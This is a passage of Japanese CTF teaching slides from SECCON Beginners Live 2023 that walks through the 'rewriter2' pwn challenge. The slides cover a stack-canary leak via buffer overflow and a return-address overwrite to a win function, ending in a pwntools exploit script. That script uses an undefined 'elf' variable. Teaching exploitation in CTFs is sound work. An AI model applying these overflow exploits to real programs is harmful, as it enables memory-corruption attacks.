- 初期状態でmain関数のスタックは図のようになっている $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | 0x2154d067320a2c00 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 64
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる
- 1回目の書き込みでcanaryまでの0x29バイトを書き換える $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 65
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる
(続き) What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ }? - 名前を表示する処理でバッファーの中身とcanaryが出力される $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 66
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / なぜcanaryがリークされたのか
- C言語の文字列では0x00(ヌル文字)で終端を表す 67 “hoge” -> [0x68 0x6f 0x67 0x65 0x00]
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / なぜcanaryがリークされたのか
- bufからcanaryの間のデータを0x00でないデータに置換することで canaryが文字列の一部として解釈された - 注: canaryのLSBは常に0x00に設定されるためこれを書き換える必要がある $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 68
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える
- rewriterと同じくwin関数を呼び出せばフラグが手に入る - win関数のアドレスは0x4012c2 $ nm ./rewriter2 [...] 00000000004012c2 T win 69
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える
- 2回目の書き込みで、canaryの値に注意しつつリターンアドレスを書き換える [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c00 <- canary 0x00007ffcd81827e0 | 0x4141414141414141 <- saved rbp 0x00007ffcd81827e8 | 0x00000000004012c2 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 70
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える
- win関数のアドレスをそのままリターンアドレスに設定するとsegfaultで 異常終了する - リターンアドレスの書き換えによってスタックが異常な状態になるため - win関数の先頭のpushをスキップして0x4012c7に飛ばすとよい $ objdump -d rewriter2 | grep -A 3 win 00000000004012c2 <win>: 4012c2: f3 0f 1e fa endbr64 4012c6: 55 push %rbp 4012c7: 48 89 e5 mov %rsp,%rbp 71
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / まとめ
- 脆弱性 - ローカル変数bufに関するBOF - 解法 1. BOFでcanaryをリークさせる 2. BOFでリターンアドレスを書き換える from pwn import * p = process("./rewriter2") payload = b"A" * 0x28 p.sendlineafter(b"What's your name? ", payload) p.recvline() canary = (u64(p.recvline()) << 8) & (pow(2, 64) - 1) payload = b"A" * 0x28 + p64(canary) + p64(0) + p64(elf.symbols["win"] + 5) p.sendlineafter(b"How old are you? ", payload) p.interactive() 72
2023/09/03 SECCON Beginners Live 2023 | #ctf4b まとめ - 今回話したこと
- pwnの概要 - 問題解説 - poem: 符号付き整数の範囲チェック - rewriter: リターンアドレス書き換え - rewriter2: BOF + リターンアドレス書き換え 73
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 付録 - おすすめのCTF(全ジャンル)
- CpawCTF - WaniCTF - SECCON Beginners CTF - おすすめの日本語資料 - 『詳解セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術』 - 『解題pwnable セキュリティコンテストに挑戦しよう!』 - https://p3land.smallkirby.com/ 74